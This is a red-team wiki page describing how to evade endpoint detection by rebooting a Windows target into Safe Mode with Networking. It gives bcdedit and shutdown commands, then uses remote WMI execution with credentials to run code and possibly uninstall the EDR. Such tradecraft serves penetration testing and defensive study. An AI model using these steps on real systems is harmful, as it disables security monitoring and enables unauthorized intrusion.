> For the complete documentation index, see [llms.txt](https://red.infiltr8.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://red.infiltr8.io/redteam/evasion/endpoint-detection-respons-edr-bypass/safe-mode-with-networking.md).

# Safe Mode With Networking

## Theory

Safe Mode with Networking is a specific way to start up your Windows computer when it’s experiencing significant problems. This mode will load only the most basic files and drivers needed for the operating system to function while also enabling networking capabilities

**EDR drivers and other components will therefore not be loaded in safe mode, although we can still access the target via the network.**

{% hint style="danger" %}
In order to bypass EDR products using the following method, a reboot is required, which is a bad OPSEC operation.
{% endhint %}

## Practice

{% tabs %}
{% tab title="bcdedit" %}
On the target, we can use [bcdedit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit) to enable Safe Mode With Networking on the next reboot, and reboot the host

```powershell
# Enable Safe Mode With Networking
bcdedit /set safeboot network

# Reboot
shutdown /r /t 0
```

After rebooting, the target will only have RPC ports open

<figure><img src="/files/A9NX64mMYLq8oZhZz7vU" alt=""><figcaption></figcaption></figure>

We can utilize [Remote WMI execution](/redteam/pivoting/remote-wmi.md) methods to achieve code execution on the system. Since the EDR has not been loaded, **we may attempt to uninstall it or perform actions that would typically be blocked.**

```bash
nxc wmi <TARGET> -u <USER> -p <PASSWORD> -x whoami
```

{% endtab %}
{% endtabs %}